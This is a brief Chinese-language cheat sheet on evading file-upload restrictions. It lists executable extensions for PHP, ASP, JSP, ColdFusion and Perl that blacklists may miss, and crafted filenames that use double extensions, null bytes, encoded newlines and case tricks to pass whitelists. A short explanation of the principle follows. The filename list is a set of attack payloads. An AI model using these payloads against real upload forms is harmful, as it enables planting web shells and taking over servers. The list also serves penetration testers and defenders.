文件上传绕过方式
黑名单绕过
黑名单绕过是通过使用服务器未列入黑名单的文件扩展名来尝试上传恶意文件。以下是一些常见的服务器语言和相应的文件扩展名:
-
PHP
- .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
-
ASP
- .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
-
JSP
- .jsp, .jspx, .jsw, .jsv, .jspf
-
Coldfusion
- .cfm, .cfml, .cfc, .dbm
-
Perl
- .pl, .cgi
-
使用随机大写
- .pHp, .pHP5, .PhAr
白名单绕过
白名单绕过是通过使用服务器允许的文件扩展名,但在后面附加恶意代码来尝试上传恶意文件。以下是一些示例:
- file.png.php
- file.png.Php5
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php…
- file.pHp5…
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- file.png.jpg.php
- file.php%00.png%00.jpg
文件上传绕过原理
文件上传绕过的原理通常基于服务器配置的不严格或不完整。服务器可能会设置黑名单或白名单来限制上传的文件类型,但攻击者会尝试找到这些限制的漏洞。例如:
- 黑名单绕过:攻击者可能会尝试使用服务器未列入黑名单的文件扩展名来上传恶意文件。
- 白名单绕过:即使服务器只允许上传特定类型的文件,攻击者也可能通过在文件名中添加额外的扩展名或编码来绕过这些限制。